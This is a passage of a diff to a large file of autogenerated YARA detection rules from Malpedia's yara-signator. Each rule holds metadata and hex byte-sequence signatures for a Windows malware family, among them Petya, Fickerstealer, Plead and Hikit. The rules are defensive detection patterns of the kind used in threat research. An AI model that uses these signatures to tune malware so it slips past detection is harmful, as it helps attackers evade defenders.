-		$sequence_7 = { 85f6 59 0f842b020000 ff7508 8d85f0fbffff 50 e8???????? }
-		$sequence_8 = { 50 e8???????? 8d85c0fdffff 50 8d85c0fbffff ff7508 }
-		$sequence_9 = { 83c62c 6a2e 56 ff15???????? 8b3d???????? 59 }
+		$sequence_0 = { c20800 8d5d04 50 52 }
+		$sequence_1 = { ffd7 8b4614 6aff 50 ffd7 8b4e10 }
+		$sequence_2 = { 0faff0 83c61f c70728000000 c1fe03 83e6fc 894704 0faff1 }
+		$sequence_3 = { 53 55 56 8bf1 57 b918000000 33c0 }
+		$sequence_4 = { 33c0 8a41ff 8d1440 8d1492 8d1492 8d1cd0 33d2 }
+		$sequence_5 = { 687f030000 6a00 68???????? 8bf0 }
+		$sequence_6 = { 33c0 8dbc24a0000000 33d2 899c249c000000 83c40c 89942484000000 f3ab }
+		$sequence_7 = { 81c468020000 c20400 53 c645002e bb01000000 eb04 8b742414 }
+		$sequence_8 = { 8b4518 83f804 7427 83f802 7422 83f806 741d }
+		$sequence_9 = { 83f80d 0f8661010000 eb04 8b6c2410 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Evilgrab_Auto : FILE
+rule MALPEDIA_Win_Hikit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "92d56cb6-a40e-55a9-bb4b-7f3303d7e68c"
+		id = "bd6e764b-576f-54ee-bfa6-5e7a42269dfd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.evilgrab_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hikit_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "89c0b96a8a59594e704b0e35c7d209399933043505a45ecc6b5a8cd70ad1865a"
+		logic_hash = "dc92a800adf1985c32a4ddd1d9a2bce0a144c5995b6902cad53971cf4e90fb53"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147241,34 +154227,34 @@ rule MALPEDIA_Win_Evilgrab_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 50 50 52 89442440 89442434 89442438 }
-		$sequence_1 = { 8dbdb8f5ffff f3a5 a4 b909000000 be???????? 8dbd5cf4ffff f3a5 }
-		$sequence_2 = { c3 8d45c4 50 6a03 68???????? 8b0e 81c1d2000000 }
-		$sequence_3 = { 8b9534aeffff 52 8bcb e8???????? 85c0 7531 6aa7 }
-		$sequence_4 = { 8b35???????? e9???????? 8b85c8adffff 898540a3ffff 50 e8???????? 8b85c0adffff }
-		$sequence_5 = { 6a00 85f6 6a00 7567 }
-		$sequence_6 = { 52 8b45d4 8b481c 51 e8???????? }
-		$sequence_7 = { 52 8b35???????? ffd6 d1e0 898565a4ffff }
-		$sequence_8 = { 52 68???????? 53 ffd5 83c410 6880000000 53 }
-		$sequence_9 = { 33c0 8dbdf0efffff f3ab c685f0efffffd0 668b5304 52 e8???????? }
+		$sequence_0 = { 33c0 e9???????? 48 8d44244e 48 898424b8000000 48 }
+		$sequence_1 = { 89442428 48 837c242800 747e 33c0 83f801 7444 }
+		$sequence_2 = { c7432000000000 48 8b442430 48 83781800 741c 48 }
+		$sequence_3 = { e8???????? 8bf8 85ff 7408 81ff20a00400 7508 8b06 }
+		$sequence_4 = { 6a00 50 ff15???????? 85c0 0f84a3000000 33ff }
+		$sequence_5 = { 8bd5 8bce e8???????? f7d8 1bc0 40 894608 }
+		$sequence_6 = { 6689046e 8b2d???????? 53 ffd5 56 68???????? 8d4c2410 }
+		$sequence_7 = { 8d05b2210000 48 89442428 eb0d 48 8b442428 }
+		$sequence_8 = { 894120 48 8b4c2460 8b44240c 894104 48 8b4c2460 }
+		$sequence_9 = { 4c 8d442478 baffff1f00 ff15???????? 898424b0000000 83bc24b000000000 7444 }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <573440
 }
-rule MALPEDIA_Win_Plead_Auto : FILE
+rule MALPEDIA_Win_Babar_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fd5a06dc-6983-5a74-97bc-98455f57d710"
+		id = "907c27e3-2fb8-508f-9c67-d8826ced6045"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.plead_auto.yar#L1-L235"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babar"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.babar_auto.yar#L1-L166"
 		license_url = "N/A"
-		logic_hash = "6a7ab17d07de8a4ca9e1e2599ef78a9a501e90d23119efee05ad014354df9153"
+		logic_hash = "8e0331df8b3130917de8e5e3d5d2fa36fbe1f95285a5ec05160d56f936d6e114"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -147280,85 +154266,77 @@ rule MALPEDIA_Win_Plead_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 85c0 750c c745fcfcffffff e9???????? 395d18 }
-		$sequence_1 = { ebda 33f6 c745fcf8ffffff 3bf7 }
-		$sequence_2 = { bf00800000 57 53 56 897d14 }
-		$sequence_3 = { e8???????? 817d14e8030000 53 56 }
-		$sequence_4 = { 59 5e c20400 8b4c2404 56 }
-		$sequence_5 = { 50 ff15???????? 6a3f 33c0 59 }
-		$sequence_6 = { 8d4dfc 51 8d4dd8 51 }
-		$sequence_7 = { 8d4514 53 50 56 53 6a05 }
-		$sequence_8 = { ff15???????? 50 ff15???????? 33c0 81c418020000 }
-		$sequence_9 = { 5e 5b 33c0 81c418020000 c21000 8b84241c020000 }
-		$sequence_10 = { 7cf1 ffd3 8b35???????? 2bc7 3de8030000 }
-		$sequence_11 = { 8b5508 52 ff15???????? 6aff a1???????? 50 ff15???????? }
-		$sequence_12 = { 50 8b1d???????? ffd3 85c0 743b }
-		$sequence_13 = { 8b8c241c020000 68???????? 51 ff15???????? }
-		$sequence_14 = { 5d 8a44341c 32c2 8844341c 46 3bf1 }
-		$sequence_15 = { c705????????01000000 ff15???????? 8b1d???????? ffd3 8bf8 33f6 8bcf }
-		$sequence_16 = { 648b1530000000 8b520c 8b521c 8b5a08 }
-		$sequence_17 = { 8b430c 034510 6a04 6800100000 51 50 }
-		$sequence_18 = { 8d7a08 e8???????? 52 e8???????? e9???????? 0fb755e0 83fa08 }
-		$sequence_19 = { e8???????? b02c aa 8b4510 85c0 }
-		$sequence_20 = { 33c0 f3aa eb10 e8???????? 8b4314 034508 }
-		$sequence_21 = { 8b5324 f7c200000002 7412 6800400000 8b4310 50 }
-		$sequence_22 = { e8???????? 0fb64de2 8b55ec 8b7df0 8b07 }
-		$sequence_23 = { b940000000 50 e2fd 56 394510 747e }
+		$sequence_0 = { 3bd6 0f86f9feffff 8b54243c 8b442438 }
+		$sequence_1 = { 3bd6 0f8c7affffff 8bbc24d0000000 ddd9 }
+		$sequence_2 = { 3bd5 7e47 8d0c9500000000 2bd9 }
+		$sequence_3 = { 3bd5 0f8671ffffff 8144241890020000 ddd8 816c242880020000 83c710 81c680020000 }
+		$sequence_4 = { 46 8d44af08 8d5708 8d4cb500 d942f8 }
+		$sequence_5 = { 3bd6 0f82eefeffff 8b742458 03f5 }
+		$sequence_6 = { 3bd6 721b 57 8bcb }
+		$sequence_7 = { 3bd6 72d9 33f6 eb08 }
+		$sequence_8 = { 8906 0f8496000000 50 ffd7 894604 8b0d???????? 894e08 }
+		$sequence_9 = { 8d8407d8988069 c1c007 8bfa 03c6 33fe }
+		$sequence_10 = { 803800 8b0d???????? 741d 803900 7506 8b0d???????? 8a11 }
+		$sequence_11 = { 23d1 33d0 0354244c 8d94322108b449 c1ca0a 03d1 8bf1 }
+		$sequence_12 = { 57 8d3c85a09e0110 8b07 03c3 8a4824 }
+		$sequence_13 = { e8???????? 57 e8???????? 83c410 8d842480000000 50 ffd5 }
+		$sequence_14 = { 0fb64e04 884804 8b5604 c1ea08 885005 0fb64e06 }
+		$sequence_15 = { 8b4b04 55 8b2d???????? 68???????? }
 
 	condition:
-		7 of them and filesize <8224768
+		7 of them and filesize <1294336
 }
-rule MALPEDIA_Win_Unidentified_101_Auto : FILE
+rule MALPEDIA_Win_Blackmagic_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1e5a977c-e7e9-5732-97b6-6aadc4f691fc"
-		date = "2023-03-28"
-		modified = "2023-04-07"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_101"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_101_auto.yar#L1-L128"
+		id = "dd528f6f-030a-5c0c-abc0-3a9e54fb0bef"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmagic"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackmagic_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "71f0751fbd77a928634515b558d06922b4bf4a312042d6abbd6ba70171c64843"
+		logic_hash = "9b47417ce0472639cee5ef75e6c79509f45487b7ad058f003aa41d6f30ea451f"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20230328"
-		malpedia_hash = "9d2d75cef573c1c2d861f5197df8f563b05a305d"
-		malpedia_version = "20230407"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c70016000000 e8???????? 83c8ff e9???????? 498bc4 488d0ddb070100 83e03f }
-		$sequence_1 = { 6689842404010000 b865000000 6689842406010000 33c0 6689842408010000 }
-		$sequence_2 = { 33c0 b968000000 f3aa 488d842400010000 4889442448 488d842430020000 4889442440 }
-		$sequence_3 = { 4889742410 57 4883ec20 418bf0 4c8d0debb40000 8bda 4c8d05dab40000 }
-		$sequence_4 = { c744243000000000 4c8d4c2430 4c8b442440 8b542468 488b4c2460 }
-		$sequence_5 = { c68424e900000065 c68424ea00000057 c68424eb00000000 c644243052 c644243165 c644243261 c644243364 }
-		$sequence_6 = { 428a8c1910e40100 4c2bc0 418b40fc 4d894108 d3e8 41894120 }
-		$sequence_7 = { 48c744242000000000 4c8d8c24c8000000 448b442450 488b542458 488b4c2470 ff15???????? }
-		$sequence_8 = { 41b804010000 488d942400030000 33c9 ff15???????? c744245801000000 e8???????? 833d????????01 }
-		$sequence_9 = { 7528 48833d????????00 741e 488d0dd8450100 e8???????? 85c0 740e }
+		$sequence_0 = { 488d15b40c0700 488bcd e8???????? 488b4620 488903 488b5c2430 488b6c2438 }
+		$sequence_1 = { 4c8b01 ba01000000 41ff10 90 488bc7 488b4c2458 4833cc }
+		$sequence_2 = { 4863d0 488d4dd0 488b94d3086c0700 e8???????? 488b0d???????? 0fbe01 }
+		$sequence_3 = { 3bc3 740a 8b5c245c 85db 748d eb35 ff15???????? }
+		$sequence_4 = { 48895e08 488b4718 4c894010 488b4718 49894018 4c894718 49897810 }
+		$sequence_5 = { 0f114160 0f104070 488b8090000000 0f114170 0f118980000000 48898190000000 488d0587eaffff }
+		$sequence_6 = { 0f867d030000 458d7302 448d7d02 8bc5 4c8d1483 418b3a }
+		$sequence_7 = { 41f782b800000000080000 7427 498b8ad0000000 410fb6d3 e8???????? 440fb65c2430 0fbec8 }
+		$sequence_8 = { 488bd0 e8???????? 488b5308 498bce 482b13 48c1fa02 e8???????? }
+		$sequence_9 = { 4881f900100000 7223 488d4127 483bc1 0f8681000000 488bc8 e8???????? }
 
 	condition:
-		7 of them and filesize <402432
+		7 of them and filesize <1416192
 }
-rule MALPEDIA_Win_Dispcashbr_Auto : FILE
+rule MALPEDIA_Win_Heyoka_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "02a73395-ac12-50d4-b2ec-e868c4b1a459"
+		id = "86cada76-df01-530f-8812-d25a9cd3eeea"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dispcashbr_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heyoka"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.heyoka_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "60c8be22bea8462dd56c514e62576b626445f5aa18aea505cf9cb5c5983fb848"
+		logic_hash = "a93bcd2aa0b2cb88631752f25ba4416145dab56370097ba7d811f589f6be863b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147372,32 +154350,32 @@ rule MALPEDIA_Win_Dispcashbr_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83ec08 c7442408ceffffff c7442404???????? }
-		$sequence_1 = { e8???????? 83ec08 c7442408eaffffff c7442404???????? }
-		$sequence_2 = { e8???????? 83ec08 c7442408ceffffff c7442404???????? a1???????? 83c020 }
-		$sequence_3 = { a1???????? 83c020 890424 e8???????? eb45 c70424f5ffffff e8???????? }
-		$sequence_4 = { 83ec08 c7442408f2ffffff c7442404???????? a1???????? 83c020 890424 e8???????? }
-		$sequence_5 = { 83ec08 c7442408d9ffffff c7442404???????? a1???????? 83c020 890424 }
-		$sequence_6 = { 890424 e8???????? 83ec08 c7442408d7ffffff }
-		$sequence_7 = { 890424 e8???????? 83ec08 c7442408c9ffffff c7442404???????? }
-		$sequence_8 = { 83ec04 c744240404000000 890424 e8???????? 83ec08 c7442408f2ffffff c7442404???????? }
-		$sequence_9 = { c70424f5ffffff e8???????? 83ec04 c744240404000000 }
+		$sequence_0 = { 8b4d0c 8b510c 83c204 52 8b45fc 50 }
+		$sequence_1 = { c745f800000000 c745f000000000 c745f400000000 c745ec00000000 8b4514 6bc005 c1e803 }
+		$sequence_2 = { 8b45dc 50 e8???????? 83c410 8945d8 837dd800 750c }
+		$sequence_3 = { 83ec08 894df8 8b45f8 c700???????? 8b4df8 c7810c09000000000000 8b55f8 }
+		$sequence_4 = { e8???????? 83c408 8b5518 52 8b45dc 83c004 }
+		$sequence_5 = { e8???????? 83c408 eb17 837d0803 7511 68???????? }
+		$sequence_6 = { 8bec 83ec08 8b4508 50 6a01 e8???????? 83c408 }
+		$sequence_7 = { 7423 8bce 8bc6 c1f905 83e01f 8b0c8da0d80110 }
+		$sequence_8 = { 51 e8???????? 83c404 8b45e0 83c00c 8be5 }
+		$sequence_9 = { 8955f8 8b45fc 8b4df4 8b55f8 0faf948134e30000 8b4df4 8bc2 }
 
 	condition:
-		7 of them and filesize <123904
+		7 of them and filesize <270336
 }
-rule MALPEDIA_Win_Mykings_Spreader_Auto : FILE
+rule MALPEDIA_Win_Solarbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "96a12e80-b15f-580e-920d-d6c0d35464b0"
+		id = "8e3c74e1-0da4-57ab-ab5f-74e62e2d1f7c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mykings_spreader_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.solarbot_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "1bcd674173fea4b83a2f4219e8f61306a972490f94a89cfaf5e1f466fdec8eff"
+		logic_hash = "2b058f45b0c5077e371ef262d327c05a0be6ae89bd9fed8f4379a07e0dfd6a86"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147411,32 +154389,32 @@ rule MALPEDIA_Win_Mykings_Spreader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7519 51 55 8bce e8???????? 6a00 6a00 }
-		$sequence_1 = { 8b1e ff938c000000 8b0424 8b5014 85d2 7507 bf00000000 }
-		$sequence_2 = { e8???????? 837e1800 7439 8b4620 c1e003 89c7 8b4618 }
-		$sequence_3 = { 89c1 c745f401000000 3b4df4 723d ff4df4 8d7600 ff45f4 }
-		$sequence_4 = { 68???????? 50 ff15???????? a3???????? 83c0fe 40 40 }
-		$sequence_5 = { 8942fc 89d8 c1f81f 8b1424 8b7208 8b4a0c 29de }
-		$sequence_6 = { eb02 b300 e8???????? 8d45cc e8???????? c745cc00000000 58 }
-		$sequence_7 = { 33d2 b9???????? 8bc2 8bf2 c1f805 83e61f 8b0485a02e4100 }
-		$sequence_8 = { 89d8 29f0 85c0 7e39 8b55f4 85d2 7505 }
-		$sequence_9 = { 8b7508 8b36 8975c8 8b7d08 8b7f04 }
+		$sequence_0 = { 0f8407feffff bb01000000 4b 90 43 8b854cfeffff }
+		$sequence_1 = { 50 8d8500fcffff 50 6a00 }
+		$sequence_2 = { 85db 7463 ff75f8 e8???????? 84c0 7457 }
+		$sequence_3 = { 8d85f4fdffff 50 e8???????? 6a0c 8d85e8fdffff 50 e8???????? }
+		$sequence_4 = { 50 e8???????? 680c010000 8d85f4faffff }
+		$sequence_5 = { 8b4508 8945cc 8b7d0c 8b4510 }
+		$sequence_6 = { 53 e8???????? 83fe0c 7509 ff75f0 }
+		$sequence_7 = { 85c0 0f847d000000 ff75f4 e8???????? }
+		$sequence_8 = { c645c401 eb23 6a00 6a00 6a00 }
+		$sequence_9 = { 83c040 8985e4fdffff 8b85e0fdffff 0385d0fdffff 8b583c 83bdccfdffff0c }
 
 	condition:
-		7 of them and filesize <1581056
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Pseudo_Manuscrypt_Auto : FILE
+rule MALPEDIA_Win_Petya_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "31787da1-ee36-51da-9ab0-837844c74a17"
+		id = "d9a77562-a232-5aff-a461-f3720889bdae"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pseudo_manuscrypt_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.petya_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "f95219f8df4fada7a5809becd0c4a0a18721619c73177d4ad9f3ddc17aca2388"
+		logic_hash = "e514cd58bfcd6e8ef482bd5780bb94df60b153546d27b2b89cfad52214dcb51a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147450,32 +154428,32 @@ rule MALPEDIA_Win_Pseudo_Manuscrypt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8473ffffff 8bd6 8bcf e8???????? 85c0 0f8f62ffffff 53 }
-		$sequence_1 = { 668906 e8???????? 8b45fc 83c404 8bfb 3b18 75bd }
-		$sequence_2 = { 33db 8d857cfdffff 53 50 53 683f010f00 53 }
-		$sequence_3 = { 6a00 6a00 6a00 6a18 ffd6 6a00 6a00 }
-		$sequence_4 = { 8bec 56 8bb17c010000 85f6 742a 8b4508 33d2 }
-		$sequence_5 = { 6a04 68ffff0000 53 ffd6 0bc7 5f 5e }
-		$sequence_6 = { 57 8945fc 8d140b 8bc8 0f44d3 52 e8???????? }
-		$sequence_7 = { 7554 5f 33c0 5e 8b4dfc 33cd e8???????? }
-		$sequence_8 = { 89442474 8d842480000000 6804010000 50 c744246c01010000 ff15???????? 68???????? }
-		$sequence_9 = { 8d85d0fdffff 50 56 ff15???????? 85c0 742c 53 }
+		$sequence_0 = { 6a03 6800001080 51 ff15???????? 83f8ff }
+		$sequence_1 = { 57 33ff 3b750c 0f47d9 85db 7410 8b06 }
+		$sequence_2 = { 0f42f2 6a04 56 e8???????? 8bd8 }
+		$sequence_3 = { 8bc6 8bca c1e303 0facc110 897c2424 c1e810 }
+		$sequence_4 = { 8d4e1c e8???????? 8d4e28 e8???????? 8d4e4c e8???????? 837e7400 }
+		$sequence_5 = { 83e804 4e 75f5 46 3bf2 53 }
+		$sequence_6 = { 8b4e74 03cb e8???????? 47 83c324 3b7e78 72ed }
+		$sequence_7 = { 85db 7410 8b06 85c0 7402 ffd0 }
+		$sequence_8 = { 0fa4df03 c1e818 884c242c 8bc6 }
+		$sequence_9 = { 8d4e04 e8???????? 8d4e10 e8???????? 8d4e1c }
 
 	condition:
-		7 of them and filesize <753664
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Fickerstealer_Auto : FILE
+rule MALPEDIA_Win_Vohuk_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "45d62189-24df-5dae-af5a-78b51fda916c"
+		id = "411a3e2f-1751-5273-acfa-62305bd7fa2f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickerstealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fickerstealer_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vohuk_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "fe62eb4bdda7768c5d67489e8496ef31433ebe8da6a7c001c0177fb4671588ff"
+		logic_hash = "2ed67cd931d1a068f4ca262bb4544ee71becc9ba564d979b0f2e30b12b56f8a3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147489,32 +154467,32 @@ rule MALPEDIA_Win_Fickerstealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b55c8 897150 895154 8b75cc 8b55d0 897158 89515c }
-		$sequence_1 = { ba???????? 0f2840f0 0f2808 0f298424a0040000 0f294910 0f2901 6a00 }
-		$sequence_2 = { c1e104 85c0 f20f10840b90000000 f20f108c0b98000000 f20f118c2488000000 f20f11842480000000 f20f10442450 }
-		$sequence_3 = { c1ea04 85d2 0f44d1 0f44f0 89d1 c1e902 6afe }
-		$sequence_4 = { 8b3e e8???????? 84c0 7404 c6470401 8b06 8b08 }
-		$sequence_5 = { 89d3 8954241c 897c2420 c744241801000000 89f1 e8???????? 3c0f }
-		$sequence_6 = { f20f114d9c f20f115594 7514 31d2 8d4ddc 42 e8???????? }
-		$sequence_7 = { e9???????? 8d7c2448 89f9 e8???????? 833f01 0f85ed000000 }
-		$sequence_8 = { 56 53 57 ff750c 50 e8???????? 83c424 }
-		$sequence_9 = { 898d40feffff 89f9 8985d4feffff 8b8570ffffff 8985d8feffff 8b4588 8985dcfeffff }
+		$sequence_0 = { ff35???????? 8d45ba 50 e8???????? 83c408 e9???????? c745b48f00a000 }
+		$sequence_1 = { e8???????? c7451850000000 837d1800 7e20 33c9 8a840df4f9ffff 8d4901 }
+		$sequence_2 = { 50 ff15???????? a3???????? 33f6 b818000000 c745b245007d00 c745b666006300 }
+		$sequence_3 = { a3???????? c745b6b700b400 c745bab100fb00 c745be82009e00 c745c2f800f400 c745c6e400fb00 c745caf900b100 }
+		$sequence_4 = { 8b0d???????? bac1655634 8b75f8 6892000000 e8???????? 8d4d94 51 }
+		$sequence_5 = { 33c9 8d4900 8a840d48e6ffff 8d4901 88840d57ffffff 8b45fc 48 }
+		$sequence_6 = { 85c0 7413 8b4b14 c6431c00 e8???????? 5f 5e }
+		$sequence_7 = { 88840d57ffffff 8b45fc 48 8945fc 837dfc00 7fe2 8d85d8fcffff }
+		$sequence_8 = { 8d45f2 803d????????01 8945dc 8d45ea 7403 }
+		$sequence_9 = { c5fe6f4580 c4e37d4645a031 c5fe7f8080000000 c5fe6f85e0feffff c4e37d468500ffffff31 c5fe7f80a0000000 }
 
 	condition:
-		7 of them and filesize <598016
+		7 of them and filesize <260096
 }
-rule MALPEDIA_Win_Greenshaitan_Auto : FILE
+rule MALPEDIA_Win_Boldmove_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d06953fb-38e3-55db-9793-3faef3649e6a"
+		id = "ede55e68-ab48-582c-bf7e-2cb826551211"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.greenshaitan_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.boldmove_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "67bf6d74e4d0fa44058834ba5470ffb949ca80488520bfdf122c691ce2d70d18"
+		logic_hash = "d529b7724e2e647d4848b38aca8e76a61b2caa5c4bf1c77fa8242a3dc71a9c2d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -147528,32 +154506,32 @@ rule MALPEDIA_Win_Greenshaitan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b460c 8d542434 52 50 }
-		$sequence_1 = { 6a00 51 50 b940000000 e8???????? 8bf0 eb02 }
-		$sequence_2 = { 81ce00ffffff 46 8a1c0e 881c0f 88040e 8d4201 99 }
-		$sequence_3 = { 8b442444 8b4c2440 8b7c243c 50 51 8d542418 52 }
-		$sequence_4 = { e8???????? 85ed 740c 8b4500 eb09 8b4500 8bc8 }
-		$sequence_5 = { 51 ff15???????? 8b8c240c200000 5e 5d }
-		$sequence_6 = { 0fb69b685b6e00 8819 0fb6d2 8bda c1eb04 c1e004 0bd8 }
-		$sequence_7 = { 8bc8 ebe1 33c0 397814 770e 85ed 7405 }
-		$sequence_8 = { 33f6 8bc5 99 6a00 52 c644244400 50 }
-		$sequence_9 = { 720d 8b542434 52 e8???????? 83c404 c784248c000000ffffffff 897c2448 }
+		$sequence_0 = { 0fb655e4 d3e2 8b8b24300000 09d0 880431 31c0 }
+		$sequence_1 = { 891c24 e8???????? 893424 e8???????? 8b442434 85c0 }
+		$sequence_2 = { 0f85cf060000 c744246800000000 8b4c2434 b801000000 85c9 0f4fc1 8984249c000000 }
+		$sequence_3 = { 83cd02 89442448 e9???????? 8d4701 83cd08 89442448 }
+		$sequence_4 = { e8???????? 89c5 8b442438 892c24 89442404 e8???????? 8b4c2424 }
+		$sequence_5 = { 8b442420 89fb 8b10 e9???????? 85f6 7e03 83ee01 }
+		$sequence_6 = { 8b8314100000 31d2 39d0 740c 39b49318100000 7418 42 }
+		$sequence_7 = { 85db 0f84561d0000 81fe00040000 b800040000 0f4ec6 890424 89442440 }
+		$sequence_8 = { 8d4f04 7415 837c242801 0f8473050000 837c242805 7503 0fbec0 }
+		$sequence_9 = { 8b8310080000 31d2 39d0 740c 39b49314080000 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <242688
 }
-rule MALPEDIA_Win_Nymaim2_Auto : FILE
+rule MALPEDIA_Win_Winsloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cd5e7949-7b9c-5324-8001-074a99f4915b"
+		id = "3816b057-ecfc-5190-8abf-a0a65a8930f8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nymaim2_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader"
